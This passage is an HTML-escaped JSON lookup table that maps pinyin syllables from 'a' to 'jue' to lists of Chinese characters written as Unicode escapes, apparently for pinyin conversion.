{&#34;a&#34;:&#34;\u554a\u963f\u9515&#34;,&#34;ai&#34;:&#34;\u57c3\u6328\u54ce\u5509\u54c0\u7691\u764c\u853c\u77ee\u827e\u788d\u7231\u9698\u8bf6\u6371\u55f3\u55cc\u5ad2\u7477\u66a7\u7839\u953f\u972d&#34;,&#34;an&#34;:&#34;\u978d\u6c28\u5b89\u4ffa\u6309\u6697\u5cb8\u80fa\u6848\u8c19\u57ef\u63de\u72b4\u5eb5\u6849\u94f5\u9e4c\u9878\u9eef&#34;,&#34;ang&#34;:&#34;\u80ae\u6602\u76ce&#34;,&#34;ao&#34;:&#34;\u51f9\u6556\u71ac\u7ff1\u8884\u50b2\u5965\u61ca\u6fb3\u5773\u62d7\u55f7\u5662\u5c99\u5ed2\u9068\u5aaa\u9a9c\u8071\u87af\u93ca\u9ccc\u93d6&#34;,&#34;ba&#34;:&#34;\u82ad\u634c\u6252\u53ed\u5427\u7b06\u516b\u75a4\u5df4\u62d4\u8dcb\u9776\u628a\u8019\u575d\u9738\u7f62\u7238\u8307\u83dd\u8406\u636d\u5c9c\u705e\u6777\u94af\u7c91\u9c85\u9b43&#34;,&#34;bai&#34;:&#34;\u767d\u67cf\u767e\u6446\u4f70\u8d25\u62dc\u7a17\u859c\u63b0\u97b4&#34;,&#34;ban&#34;:&#34;\u6591\u73ed\u642c\u6273\u822c\u9881\u677f\u7248\u626e\u62cc\u4f34\u74e3\u534a\u529e\u7eca\u962a\u5742\u8c73\u94a3\u7622\u764d\u8228&#34;,&#34;bang&#34;:&#34;\u90a6\u5e2e\u6886\u699c\u8180\u7ed1\u68d2\u78c5\u868c\u9551\u508d\u8c24\u84a1\u8783&#34;,&#34;bao&#34;:&#34;\u82de\u80de\u5305\u8912\u96f9\u4fdd\u5821\u9971\u5b9d\u62b1\u62a5\u66b4\u8c79\u9c8d\u7206\u52f9\u8446\u5b80\u5b62\u7172\u9e28\u8913\u8db5\u9f85&#34;,&#34;bo&#34;:&#34;\u5265\u8584\u73bb\u83e0\u64ad\u62e8\u94b5\u6ce2\u535a\u52c3\u640f\u94c2\u7b94\u4f2f\u5e1b\u8236\u8116\u818a\u6e24\u6cca\u9a73\u4eb3\u8543\u5575\u997d\u6a97\u64d8\u7934\u94b9\u9e41\u7c38\u8ddb&#34;,&#34;bei&#34;:&#34;\u676f\u7891\u60b2\u5351\u5317\u8f88\u80cc\u8d1d\u94a1\u500d\u72c8\u5907\u60eb\u7119\u88ab\u5b5b\u9642\u90b6\u57e4\u84d3\u5457\u602b\u6096\u789a\u9e4e\u8919\u943e&#34;,&#34;ben&#34;:&#34;\u5954\u82ef\u672c\u7b28\u755a\u574c\u951b&#34;,&#34;beng&#34;:&#34;\u5d29\u7ef7\u752d\u6cf5\u8e66\u8ff8\u552a\u5623\u750f&#34;,&#34;bi&#34;:&#34;\u903c\u9f3b\u6bd4\u9119\u7b14\u5f7c\u78a7\u84d6\u853d\u6bd5\u6bd9\u6bd6\u5e01\u5e87\u75f9\u95ed\u655d\u5f0a\u5fc5\u8f9f\u58c1\u81c2\u907f\u965b\u5315\u4ef3\u4ffe\u8298\u835c\u8378\u5421\u54d4\u72f4\u5eb3\u610e\u6ed7\u6fde\u5f3c\u59a3\u5a62\u5b16\u74a7\u8d32\u7540\u94cb\u79d5\u88e8\u7b5a\u7b85\u7be6\u822d\u895e\u8df8\u9ac0&#34;,&#34;bian&#34;:&#34;\u97ad\u8fb9\u7f16\u8d2c\u6241\u4fbf\u53d8\u535e\u8fa8\u8fa9\u8fab\u904d\u533e\u5f01\u82c4\u5fed\u6c74\u7f0f\u7178\u782d\u78a5\u7a39\u7a86\u8759\u7b3e\u9cca&#34;,&#34;biao&#34;:&#34;\u6807\u5f6a\u8198\u8868\u5a4a\u9aa0\u98d1\u98d9\u98da\u706c\u9556\u9573\u762d\u88f1\u9cd4&#34;,&#34;bie&#34;:&#34;\u9cd6\u618b\u522b\u762a\u8e69\u9cd8&#34;,&#34;bin&#34;:&#34;\u5f6c\u658c\u6fd2\u6ee8\u5bbe\u6448\u50a7\u6d5c\u7f24\u73a2\u6ba1\u8191\u9554\u9acc\u9b13&#34;,&#34;bing&#34;:&#34;\u5175\u51b0\u67c4\u4e19\u79c9\u997c\u70b3\u75c5\u5e76\u7980\u90b4\u6452\u7ee0\u678b\u69df\u71f9&#34;,&#34;bu&#34;:&#34;\u6355\u535c\u54fa\u8865\u57e0\u4e0d\u5e03\u6b65\u7c3f\u90e8\u6016\u62ca\u535f\u900b\u74ff\u6661\u949a\u91ad&#34;,&#34;ca&#34;:&#34;\u64e6\u5693\u7924&#34;,&#34;cai&#34;:&#34;\u731c\u88c1\u6750\u624d\u8d22\u776c\u8e29\u91c7\u5f69\u83dc\u8521&#34;,&#34;can&#34;:&#34;\u9910\u53c2\u8695\u6b8b\u60ed\u60e8\u707f\u9a96\u74a8\u7cb2\u9eea&#34;,&#34;cang&#34;:&#34;\u82cd\u8231\u4ed3\u6ca7\u85cf\u4f27&#34;,&#34;cao&#34;:&#34;\u64cd\u7cd9\u69fd\u66f9\u8349\u8279\u5608\u6f15\u87ac\u825a&#34;,&#34;ce&#34;:&#34;\u5395\u7b56\u4fa7\u518c\u6d4b\u5202\u5e3b\u607b&#34;,&#34;ceng&#34;:&#34;\u5c42\u8e6d\u564c&#34;,&#34;cha&#34;:&#34;\u63d2\u53c9\u832c\u8336\u67e5\u78b4\u643d\u5bdf\u5c94\u5dee\u8be7\u7339\u9987\u6c4a\u59f9\u6748\u6942\u69ce\u6aab\u9497\u9538\u9572\u8869&#34;,&#34;chai&#34;:&#34;\u62c6\u67f4\u8c7a\u4faa\u8308\u7625\u867f\u9f87&#34;,&#34;chan&#34;:&#34;\u6400\u63ba\u8749\u998b\u8c17\u7f20\u94f2\u4ea7\u9610\u98a4\u5181\u8c04\u8c36\u8487\u5edb\u5fcf\u6f7a\u6fb6\u5b71\u7fbc\u5a75\u5b17\u9aa3\u89c7\u7985\u9561\u88e3\u87fe\u8e94&#34;,&#34;chang&#34;:&#34;\u660c\u7316\u573a\u5c1d\u5e38\u957f\u507f\u80a0\u5382\u655e\u7545\u5531\u5021\u4f25\u9b2f\u82cc\u83d6\u5f9c\u6005\u60dd\u960a\u5a3c\u5ae6\u6636\u6c05\u9cb3&#34;,&#34;chao&#34;:&#34;\u8d85\u6284\u949e\u671d\u5632\u6f6e\u5de2\u5435\u7092\u600a\u7ec9\u6641\u8016&#34;,&#34;che&#34;:&#34;\u8f66\u626f\u64a4\u63a3\u5f7b\u6f88\u577c\u5c6e\u7817&#34;,&#34;chen&#34;:&#34;\u90f4\u81e3\u8fb0\u5c18\u6668\u5ff1\u6c89\u9648\u8d81\u886c\u79f0\u8c0c\u62bb\u55d4\u5bb8\u741b\u6987\u809c\u80c2\u789c\u9f80&#34;,&#34;cheng&#34;:&#34;\u6491\u57ce\u6a59\u6210\u5448\u4e58\u7a0b\u60e9\u6f84\u8bda\u627f\u901e\u9a8b\u79e4\u57d5\u5d4a\u5fb5\u6d48\u67a8\u67fd\u6a18\u665f\u584d\u77a0\u94d6\u88ce\u86cf\u9172&#34;,&#34;chi&#34;:&#34;\u5403\u75f4\u6301\u5319\u6c60\u8fdf\u5f1b\u9a70\u803b\u9f7f\u4f88\u5c3a\u8d64\u7fc5\u65a5\u70bd\u50ba\u5880\u82aa\u830c\u640b\u53f1\u54e7\u557b\u55e4\u5f73\u996c\u6cb2\u5ab8\u6555\u80dd\u7719\u7735\u9e31\u761b\u892b\u86a9\u87ad\u7b1e\u7bea\u8c49\u8e05\u8e1f\u9b51&#34;,&#34;chong&#34;:&#34;\u5145\u51b2\u866b\u5d07\u5ba0\u833a\u5fe1\u61a7\u94f3\u825f&#34;,&#34;chou&#34;:&#34;\u62bd\u916c\u7574\u8e0c\u7a20\u6101\u7b79\u4ec7\u7ef8\u7785\u4e11\u4fe6\u5733\u5e31\u60c6\u6eb4\u59af\u7633\u96e0\u9c8b&#34;,&#34;chu&#34;:&#34;\u81ed\u521d\u51fa\u6a71\u53a8\u8e87\u9504\u96cf\u6ec1\u9664\u695a\u7840\u50a8\u77d7\u6410\u89e6\u5904\u4e8d\u520d\u61b7\u7ecc\u6775\u696e\u6a17\u870d\u8e70\u9edc&#34;,&#34;chuan&#34;:&#34;\u63e3\u5ddd\u7a7f\u693d\u4f20\u8239\u5598\u4e32\u63be\u821b\u60f4\u9044\u5ddb\u6c1a\u948f\u9569\u8221&#34;,&#34;chuang&#34;:&#34;\u75ae\u7a97\u5e62\u5e8a\u95ef\u521b\u6006&#34;,&#34;chui&#34;:&#34;\u5439\u708a\u6376\u9524\u5782\u9672\u68f0\u69cc&#34;,&#34;chun&#34;:&#34;\u6625\u693f\u9187\u5507\u6df3\u7eaf\u8822\u4fc3\u83bc\u6c8c\u80ab\u6710\u9e51\u877d&#34;,&#34;chuo&#34;:&#34;\u6233\u7ef0\u851f\u8fb6\u8f8d\u955e\u8e14\u9f8a&#34;,&#34;ci&#34;:&#34;\u75b5\u8328\u78c1\u96cc\u8f9e\u6148\u74f7\u8bcd\u6b64\u523a\u8d50\u6b21\u8360\u5472\u5d6f\u9e5a\u8785\u7ccd\u8d91&#34;,&#34;cong&#34;:&#34;\u806a\u8471\u56f1\u5306\u4ece\u4e1b\u506c\u82c1\u6dd9\u9aa2\u742e\u7481\u679e&#34;,&#34;cu&#34;:&#34;\u51d1\u7c97\u918b\u7c07\u731d\u6b82\u8e59&#34;,&#34;cuan&#34;:&#34;\u8e7f\u7be1\u7a9c\u6c46\u64ba\u6615\u7228&#34;,&#34;cui&#34;:&#34;\u6467\u5d14\u50ac\u8106\u7601\u7cb9\u6dec\u7fe0\u8403\u60b4\u7480\u69b1\u96b9&#34;,&#34;cun&#34;:&#34;\u6751\u5b58\u5bf8\u78cb\u5fd6\u76b4&#34;,&#34;cuo&#34;:&#34;\u64ae\u6413\u63aa\u632b\u9519\u539d\u811e\u9509\u77ec\u75e4\u9e7e\u8e49\u8e9c&#34;,&#34;da&#34;:&#34;\u642d\u8fbe\u7b54\u7629\u6253\u5927\u8037\u54d2\u55d2\u601b\u59b2\u75b8\u8921\u7b2a\u977c\u9791&#34;,&#34;dai&#34;:&#34;\u5446\u6b79\u50a3\u6234\u5e26\u6b86\u4ee3\u8d37\u888b\u5f85\u902e\u6020\u57ed\u7519\u5454\u5cb1\u8fe8\u902f\u9a80\u7ed0\u73b3\u9edb&#34;,&#34;dan&#34;:&#34;\u803d\u62c5\u4e39\u5355\u90f8\u63b8\u80c6\u65e6\u6c2e\u4f46\u60ee\u6de1\u8bde\u5f39\u86cb\u4ebb\u510b\u5369\u840f\u5556\u6fb9\u6a90\u6b9a\u8d55\u7708\u7605\u8043\u7baa&#34;,&#34;dang&#34;:&#34;\u5f53\u6321\u515a\u8361\u6863\u8c20\u51fc\u83ea\u5b95\u7800\u94db\u88c6&#34;,&#34;dao&#34;:&#34;\u5200\u6363\u8e48\u5012\u5c9b\u7977\u5bfc\u5230\u7a3b\u60bc\u9053\u76d7\u53e8\u5541\u5fc9\u6d2e\u6c18\u7118\u5fd1\u7e9b&#34;,&#34;de&#34;:&#34;\u5fb7\u5f97\u7684\u951d&#34;,&#34;deng&#34;:&#34;\u8e6c\u706f\u767b\u7b49\u77aa\u51f3\u9093\u5654\u5d9d\u6225\u78f4\u956b\u7c26&#34;,&#34;di&#34;:&#34;\u5824\u4f4e\u6ef4\u8fea\u654c\u7b1b\u72c4\u6da4\u7fdf\u5ae1\u62b5\u5e95\u5730\u8482\u7b2c\u5e1d\u5f1f\u9012\u7f14\u6c10\u7c74\u8bcb\u8c1b\u90b8\u577b\u839c\u837b\u5600\u5a23\u67e2\u68e3\u89cc\u7825\u78b2\u7747\u955d\u7f9d\u9ab6&#34;,&#34;dian&#34;:&#34;\u98a0\u6382\u6ec7\u7898\u70b9\u5178\u975b\u57ab\u7535\u4f43\u7538\u5e97\u60e6\u5960\u6dc0\u6bbf\u4e36\u963d\u576b\u57dd\u5dc5\u73b7\u765c\u766b\u7c1f\u8e2e&#34;,&#34;diao&#34;:&#34;\u7889\u53fc\u96d5\u51cb\u5201\u6389\u540a\u9493\u8c03\u8f7a\u94de\u8729\u7c9c\u8c82&#34;,&#34;die&#34;:&#34;\u8dcc\u7239\u789f\u8776\u8fed\u8c0d\u53e0\u4f5a\u57a4\u581e\u63f2\u558b\u6e2b\u8f76\u7252\u74de\u8936\u800b\u8e40\u9cbd\u9cce&#34;,&#34;ding&#34;:&#34;\u4e01\u76ef\u53ee\u9489\u9876\u9f0e\u952d\u5b9a\u8ba2\u4e22\u4ec3\u5576\u738e\u815a\u7887\u753a\u94e4\u7594\u8035\u914a&#34;,&#34;dong&#34;:&#34;\u4e1c\u51ac\u8463\u61c2\u52a8\u680b\u4f97\u606b\u51bb\u6d1e\u578c\u549a\u5cbd\u5cd2\u5902\u6c21\u80e8\u80f4\u7850\u9e2b&#34;,&#34;dou&#34;:&#34;\u515c\u6296\u6597\u9661\u8c46\u9017\u75d8\u8538\u94ad\u7aa6\u7aac\u86aa\u7bfc\u9161&#34;,&#34;du&#34;:&#34;\u90fd\u7763\u6bd2\u728a\u72ec\u8bfb\u5835\u7779\u8d4c\u675c\u9540\u809a\u5ea6\u6e21\u5992\u828f\u561f\u6e0e\u691f\u6a50\u724d\u8839\u7b03\u9ad1\u9ee9&#34;,&#34;duan&#34;:&#34;\u7aef\u77ed\u953b\u6bb5\u65ad\u7f0e\u5f56\u6934\u7145\u7c16&#34;,&#34;dui&#34;:&#34;\u5806\u5151\u961f\u5bf9\u603c\u619d\u7893&#34;,&#34;dun&#34;:&#34;\u58a9\u5428\u8e72\u6566\u987f\u56e4\u949d\u76fe\u9041\u7096\u7818\u7905\u76f9\u9566\u8db8&#34;,&#34;duo&#34;:&#34;\u6387\u54c6\u591a\u593a\u579b\u8eb2\u6735\u8dfa\u8235\u5241\u60f0\u5815\u5484\u54da\u7f0d\u67c1\u94ce\u88f0\u8e31&#34;,&#34;e&#34;:&#34;\u86fe\u5ce8\u9e45\u4fc4\u989d\u8bb9\u5a25\u6076\u5384\u627c\u904f\u9102\u997f\u5669\u8c14\u57a9\u57ad\u82ca\u83aa\u843c\u5443\u6115\u5c59\u5a40\u8f6d\u66f7\u816d\u786a\u9507\u9537\u9e57\u989a\u9cc4&#34;,&#34;en&#34;:&#34;\u6069\u84bd\u6441\u5514\u55ef&#34;,&#34;er&#34;:&#34;\u800c\u513f\u8033\u5c14\u9975\u6d31\u4e8c\u8d30\u8fe9\u73e5\u94d2\u9e38\u9c95&#34;,&#34;fa&#34;:&#34;\u53d1\u7f5a\u7b4f\u4f10\u4e4f\u9600\u6cd5\u73d0\u57a1\u781d&#34;,&#34;fan&#34;:&#34;\u85e9\u5e06\u756a\u7ffb\u6a0a\u77fe\u9492\u7e41\u51e1\u70e6\u53cd\u8fd4\u8303\u8d29\u72af\u996d\u6cdb\u8629\u5e61\u72ad\u68b5\u6535\u71d4\u7548\u8e6f&#34;,&#34;fang&#34;:&#34;\u574a\u82b3\u65b9\u80aa\u623f\u9632\u59a8\u4eff\u8bbf\u7eba\u653e\u531a\u90a1\u5f77\u94ab\u822b\u9c82&#34;,&#34;fei&#34;:&#34;\u83f2\u975e\u5561\u98de\u80a5\u532a\u8bfd\u5420\u80ba\u5e9f\u6cb8\u8d39\u82be\u72d2\u60b1\u6ddd\u5983\u7ecb\u7eef\u69a7\u8153\u6590\u6249\u7953\u7829\u9544\u75f1\u871a\u7bda\u7fe1\u970f\u9cb1&#34;,&#34;fen&#34;:&#34;\u82ac\u915a\u5429\u6c1b\u5206\u7eb7\u575f\u711a\u6c7e\u7c89\u594b\u4efd\u5fff\u6124\u7caa\u507e\u7035\u68fc\u610d\u9cbc\u9f22&#34;,&#34;feng&#34;:&#34;\u4e30\u5c01\u67ab\u8702\u5cf0\u950b\u98ce\u75af\u70fd\u9022\u51af\u7f1d\u8bbd\u5949\u51e4\u4ff8\u9146\u8451\u6ca3\u781c&#34;,&#34;fu&#34;:&#34;\u4f5b\u5426\u592b\u6577\u80a4\u5b75\u6276\u62c2\u8f90\u5e45\u6c1f\u7b26\u4f0f\u4fd8\u670d\u6d6e\u6daa\u798f\u88b1\u5f17\u752b\u629a\u8f85\u4fef\u91dc\u65a7\u812f\u8151\u5e9c\u8150\u8d74\u526f\u8986\u8d4b\u590d\u5085\u4ed8\u961c\u7236\u8179\u8d1f\u5bcc\u8ba3\u9644\u5987\u7f1a\u5490\u5310\u51eb\u90db\u8299\u82fb\u832f\u83a9\u83d4\u544b\u5e5e\u6ecf\u8274\u5b5a\u9a78\u7ec2\u6874\u8d59\u9efb\u9efc\u7f58\u7a03\u99a5\u864d\u86a8\u8709\u8760\u876e\u9eb8\u8dba\u8dd7\u9cc6&#34;,&#34;ga&#34;:&#34;\u5676\u560e\u86e4\u5c2c\u5477\u5c15\u5c1c\u65ee\u9486&#34;,&#34;gai&#34;:&#34;\u8be5\u6539\u6982\u9499\u76d6\u6e89\u4e10\u9654\u5793\u6224\u8d45\u80f2&#34;,&#34;gan&#34;:&#34;\u5e72\u7518\u6746\u67d1\u7aff\u809d\u8d76\u611f\u79c6\u6562\u8d63\u5769\u82f7\u5c34\u64c0\u6cd4\u6de6\u6f89\u7ec0\u6a44\u65f0\u77f8\u75b3\u9150&#34;,&#34;gang&#34;:&#34;\u5188\u521a\u94a2\u7f38\u809b\u7eb2\u5c97\u6e2f\u6206\u7f61\u9883\u7b7b&#34;,&#34;gong&#34;:&#34;\u6760\u5de5\u653b\u529f\u606d\u9f9a\u4f9b\u8eac\u516c\u5bab\u5f13\u5de9\u6c5e\u62f1\u8d21\u5171\u857b\u5efe\u54a3\u73d9\u80b1\u86a3\u86e9\u89e5&#34;,&#34;gao&#34;:&#34;\u7bd9\u768b\u9ad8\u818f\u7f94\u7cd5\u641e\u9550\u7a3f\u544a\u777e\u8bf0\u90dc\u84bf\u85c1\u7f1f\u69d4\u69c1\u6772\u9506&#34;,&#34;ge&#34;:&#34;\u54e5\u6b4c\u6401\u6208\u9e3d\u80f3\u7599\u5272\u9769\u845b\u683c\u9601\u9694\u94ec\u4e2a\u5404\u9b32\u4ee1\u54ff\u5865\u55dd\u7ea5\u643f\u8188\u784c\u94ea\u9549\u88bc\u988c\u867c\u8238\u9abc\u9ac2&#34;,&#34;gei&#34;:&#34;\u7ed9&#34;,&#34;gen&#34;:&#34;\u6839\u8ddf\u4e98\u831b\u54cf\u826e&#34;,&#34;geng&#34;:&#34;\u8015\u66f4\u5e9a\u7fb9\u57c2\u803f\u6897\u54fd\u8d53\u9ca0&#34;,&#34;gou&#34;:&#34;\u94a9\u52fe\u6c9f\u82df\u72d7\u57a2\u6784\u8d2d\u591f\u4f5d\u8bdf\u5ca3\u9058\u5abe\u7f11\u89cf\u5f40\u9e32\u7b31\u7bdd\u97b2&#34;,&#34;gu&#34;:&#34;\u8f9c\u83c7\u5495\u7b8d\u4f30\u6cbd\u5b64\u59d1\u9f13\u53e4\u86ca\u9aa8\u8c37\u80a1\u6545\u987e\u56fa\u96c7\u560f\u8bc2\u83f0\u54cc\u5d2e\u6c69\u688f\u8f71\u726f\u727f\u80cd\u81cc\u6bc2\u77bd\u7f5f\u94b4\u9522\u74e0\u9e2a\u9e44\u75fc\u86c4\u9164\u89da\u9cb4\u9ab0\u9e58&#34;,&#34;gua&#34;:&#34;\u522e\u74dc\u5250\u5be1\u6302\u8902\u5366\u8bd6\u5471\u681d\u9e39&#34;,&#34;guai&#34;:&#34;\u4e56\u62d0\u602a\u54d9&#34;,&#34;guan&#34;:&#34;\u68fa\u5173\u5b98\u51a0\u89c2\u7ba1\u9986\u7f50\u60ef\u704c\u8d2f\u500c\u839e\u63bc\u6dab\u76e5\u9e73\u9ccf&#34;,&#34;guang&#34;:&#34;\u5149\u5e7f\u901b\u72b7\u6844\u80f1\u7592&#34;,&#34;gui&#34;:&#34;\u7470\u89c4\u572d\u7845\u5f52\u9f9f\u95fa\u8f68\u9b3c\u8be1\u7678\u6842\u67dc\u8dea\u8d35\u523d\u5326\u523f\u5e8b\u5b84\u59ab\u6867\u7085\u6677\u7688\u7c0b\u9c91\u9cdc&#34;,&#34;gun&#34;:&#34;\u8f8a\u6eda\u68cd\u4e28\u886e\u7ef2\u78d9\u9ca7&#34;,&#34;guo&#34;:&#34;\u9505\u90ed\u56fd\u679c\u88f9\u8fc7\u9998\u8803\u57da\u63b4\u5459\u56d7\u5e3c\u5d1e\u7313\u6901\u8662\u951e\u8052\u872e\u873e\u8748&#34;,&#34;ha&#34;:&#34;\u54c8&#34;,&#34;hai&#34;:&#34;\u9ab8\u5b69\u6d77\u6c26\u4ea5\u5bb3\u9a87\u54b4\u55e8\u988f\u91a2&#34;,&#34;han&#34;:&#34;\u9163\u61a8\u90af\u97e9\u542b\u6db5\u5bd2\u51fd\u558a\u7f55\u7ff0\u64bc\u634d\u65f1\u61be\u608d\u710a\u6c57\u6c49\u9097\u83e1\u6496\u961a\u701a\u6657\u7113\u9894\u86b6\u9f3e&#34;,&#34;hen&#34;:&#34;\u592f\u75d5\u5f88\u72e0\u6068&#34;,&#34;hang&#34;:&#34;\u676d\u822a\u6c86\u7ed7\u73e9\u6841&#34;,&#34;hao&#34;:&#34;\u58d5\u568e\u8c6a\u6beb\u90dd\u597d\u8017\u53f7\u6d69\u8585\u55e5\u5686\u6fe0\u704f\u660a\u7693\u98a2\u869d&#34;,&#34;he&#34;:&#34;\u5475\u559d\u8377\u83cf\u6838\u79be\u548c\u4f55\u5408\u76d2\u8c89\u9602\u6cb3\u6db8\u8d6b\u8910\u9e64\u8d3a\u8bc3\u52be\u58d1\u85ff\u55d1\u55ec\u9616\u76cd\u86b5\u7fee&#34;,&#34;hei&#34;:&#34;\u563f\u9ed1&#34;,&#34;heng&#34;:&#34;\u54fc\u4ea8\u6a2a\u8861\u6052\u8a07\u8605&#34;,&#34;hong&#34;:&#34;\u8f70\u54c4\u70d8\u8679\u9e3f\u6d2a\u5b8f\u5f18\u7ea2\u9ec9\u8ba7\u836d\u85a8\u95f3\u6cd3&#34;,&#34;hou&#34;:&#34;\u5589\u4faf\u7334\u543c\u539a\u5019\u540e\u5820\u5f8c\u9005\u760a\u7bcc\u7cc7\u9c8e\u9aba&#34;,&#34;hu&#34;:&#34;\u547c\u4e4e\u5ffd\u745a\u58f6\u846b\u80e1\u8774\u72d0\u7cca\u6e56\u5f27\u864e\u552c\u62a4\u4e92\u6caa\u6237\u51b1\u553f\u56eb\u5cb5\u7322\u6019\u60da\u6d52\u6ef9\u7425\u69f2\u8f77\u89f3\u70c0\u7173\u623d\u6248\u795c\u9e55\u9e71\u7b0f\u9190\u659b&#34;,&#34;hua&#34;:&#34;\u82b1\u54d7\u534e\u733e\u6ed1\u753b\u5212\u5316\u8bdd\u5290\u6d4d\u9a85\u6866\u94e7\u7a1e&#34;,&#34;huai&#34;:&#34;\u69d0\u5f8a\u6000\u6dee\u574f\u8fd8\u8e1d&#34;,&#34;huan&#34;:&#34;\u6b22\u73af\u6853\u7f13\u6362\u60a3\u5524\u75ea\u8c62\u7115\u6da3\u5ba6\u5e7b\u90c7\u5942\u57b8\u64d0\u571c\u6d39\u6d63\u6f36\u5bf0\u902d\u7f33\u953e\u9ca9\u9b1f&#34;,&#34;huang&#34;:&#34;\u8352\u614c\u9ec4\u78fa\u8757\u7c27\u7687\u51f0\u60f6\u714c\u6643\u5e4c\u604d\u8c0e\u968d\u5fa8\u6e5f\u6f62\u9051\u749c\u8093\u7640\u87e5\u7bc1\u9cc7&#34;,&#34;hui&#34;:&#34;\u7070\u6325\u8f89\u5fbd\u6062\u86d4\u56de\u6bc1\u6094\u6167\u5349\u60e0\u6666\u8d3f\u79fd\u4f1a\u70e9\u6c47\u8bb3\u8bf2\u7ed8\u8bd9\u8334\u835f\u8559\u54d5\u5599\u96b3\u6d04\u5f57\u7f0b\u73f2\u6656\u605a\u867a\u87ea\u9ebe&#34;,&#34;hun&#34;:&#34;\u8364\u660f\u5a5a\u9b42\u6d51\u6df7\u8be8\u9984\u960d\u6eb7\u7f17&#34;,&#34;huo&#34;:&#34;\u8c41\u6d3b\u4f19\u706b\u83b7\u6216\u60d1\u970d\u8d27\u7978\u6509\u56af\u5925\u94ac\u952a\u956c\u8020\u8816&#34;,&#34;ji&#34;:&#34;\u51fb\u573e\u57fa\u673a\u7578\u7a3d\u79ef\u7b95\u808c\u9965\u8ff9\u6fc0\u8ba5\u9e21\u59ec\u7ee9\u7f09\u5409\u6781\u68d8\u8f91\u7c4d\u96c6\u53ca\u6025\u75be\u6c72\u5373\u5ac9\u7ea7\u6324\u51e0\u810a\u5df1\u84df\u6280\u5180\u5b63\u4f0e\u796d\u5242\u60b8\u6d4e\u5bc4\u5bc2\u8ba1\u8bb0\u65e2\u5fcc\u9645\u5993\u7ee7\u7eaa\u5c45\u4e0c\u4e69\u525e\u4f76\u4f74\u8114\u58bc\u82a8\u82b0\u8401\u84ba\u857a\u638e\u53fd\u54ad\u54dc\u5527\u5c8c\u5d74\u6d0e\u5f50\u5c50\u9aa5\u757f\u7391\u696b\u6b9b\u621f\u6222\u8d4d\u89ca\u7284\u9f51\u77f6\u7f81\u5d47\u7a37\u7620\u7635\u866e\u7b08\u7b04\u66a8\u8dfb\u8dfd\u9701\u9c9a\u9cab\u9afb\u9e82&#34;,&#34;jia&#34;:&#34;\u5609\u67b7\u5939\u4f73\u5bb6\u52a0\u835a\u988a\u8d3e\u7532\u94be\u5047\u7a3c\u4ef7\u67b6\u9a7e\u5ac1\u4f3d\u90cf\u62ee\u5cac\u6d43\u8fe6\u73c8\u621b\u80db\u605d\u94d7\u9553\u75c2\u86f1\u7b33\u8888\u8dcf&#34;,&#34;jian&#34;:&#34;\u6b7c\u76d1\u575a\u5c16\u7b3a\u95f4\u714e\u517c\u80a9\u8270\u5978\u7f04\u8327\u68c0\u67ec\u78b1\u7877\u62e3\u6361\u7b80\u4fed\u526a\u51cf\u8350\u69db\u9274\u8df5\u8d31\u89c1\u952e\u7bad\u4ef6\u5065\u8230\u5251\u996f\u6e10\u6e85\u6da7\u5efa\u50ed\u8c0f\u8c2b\u83c5\u84b9\u641b\u56dd\u6e54\u8e47\u8b07\u7f23\u67a7\u67d9\u6957\u620b\u622c\u726e\u728d\u6bfd\u8171\u7751\u950f\u9e63\u88e5\u7b15\u7bb4\u7fe6\u8dbc\u8e3a\u9ca3\u97af&#34;,&#34;jiang&#34;:&#34;\u50f5\u59dc\u5c06\u6d46\u6c5f\u7586\u848b\u6868\u5956\u8bb2\u5320\u9171\u964d\u8333\u6d1a\u7edb\u7f30\u729f\u7913\u8029\u7ce8\u8c47&#34;,&#34;jiao&#34;:&#34;\u8549\u6912\u7901\u7126\u80f6\u4ea4\u90ca\u6d47\u9a84\u5a07\u56bc\u6405\u94f0\u77eb\u4fa5\u811a\u72e1\u89d2\u997a\u7f34\u7ede\u527f\u6559\u9175\u8f7f\u8f83\u53eb\u4f7c\u50ec\u832d\u6322\u564d\u5ce4\u5fbc\u59e3\u7e9f\u656b\u768e\u9e6a\u86df\u91ae\u8de4\u9c9b&#34;,&#34;jie&#34;:&#34;\u7a96\u63ed\u63a5\u7686\u79f8\u8857\u9636\u622a\u52ab\u8282\u6854\u6770\u6377\u776b\u7aed\u6d01\u7ed3\u89e3\u59d0\u6212\u85c9\u82a5\u754c\u501f\u4ecb\u75a5\u8beb\u5c4a\u5048\u8ba6\u8bd8\u5588\u55df\u736c\u5a55\u5b51\u6840\u7352\u78a3\u9534\u7596\u88b7\u9889\u86a7\u7faf\u9c92\u9ab1\u9aeb&#34;,&#34;jin&#34;:&#34;\u5dfe\u7b4b\u65a4\u91d1\u4eca\u6d25\u895f\u7d27\u9526\u4ec5\u8c28\u8fdb\u9773\u664b\u7981\u8fd1\u70ec\u6d78\u5c3d\u537a\u8369\u5807\u5664\u9991\u5ed1\u5997\u7f19\u747e\u69ff\u8d46\u89d0\u9485\u9513\u887f\u77dc&#34;,&#34;jing&#34;:&#34;\u52b2\u8346\u5162\u830e\u775b\u6676\u9cb8\u4eac\u60ca\u7cbe\u7cb3\u7ecf\u4e95\u8b66\u666f\u9888\u9759\u5883\u656c\u955c\u5f84\u75c9\u9756\u7adf\u7ade\u51c0\u522d\u5106\u9631\u83c1\u734d\u61ac\u6cfe\u8ff3\u5f2a\u5a67\u80bc\u80eb\u8148\u65cc&#34;,&#34;jiong&#34;:&#34;\u70af\u7a98\u5182\u8fe5\u6243&#34;,&#34;jiu&#34;:&#34;\u63ea\u7a76\u7ea0\u7396\u97ed\u4e45\u7078\u4e5d\u9152\u53a9\u6551\u65e7\u81fc\u8205\u548e\u5c31\u759a\u50e6\u557e\u9604\u67e9\u6855\u9e6b\u8d73\u9b0f&#34;,&#34;ju&#34;:&#34;\u97a0\u62d8\u72d9\u75bd\u9a79\u83ca\u5c40\u5480\u77e9\u4e3e\u6cae\u805a\u62d2\u636e\u5de8\u5177\u8ddd\u8e1e\u952f\u4ff1\u53e5\u60e7\u70ac\u5267\u5028\u8bb5\u82e3\u82f4\u8392\u63ac\u907d\u5c66\u741a\u67b8\u6910\u6998\u6989\u6a58\u728b\u98d3\u949c\u9514\u7aad\u88fe\u8d84\u91b5\u8e3d\u9f83\u96ce\u97ab&#34;,&#34;juan&#34;:&#34;\u6350\u9e43\u5a1f\u5026\u7737\u5377\u7ee2\u9104\u72f7\u6d93\u684a\u8832\u9529\u954c\u96bd&#34;,&#34;jue&#34;:&#34;\u6485\u652b\u6289\u6398\u5014\u7235\u89c9\u51b3\u8bc0\u7edd\u53a5\u5282\u8c32\u77cd\u8568\u5658\u5d1b\u7357\u5b53\u73cf\u6877\u6a5b\u721d\u9562\u8e76\u89d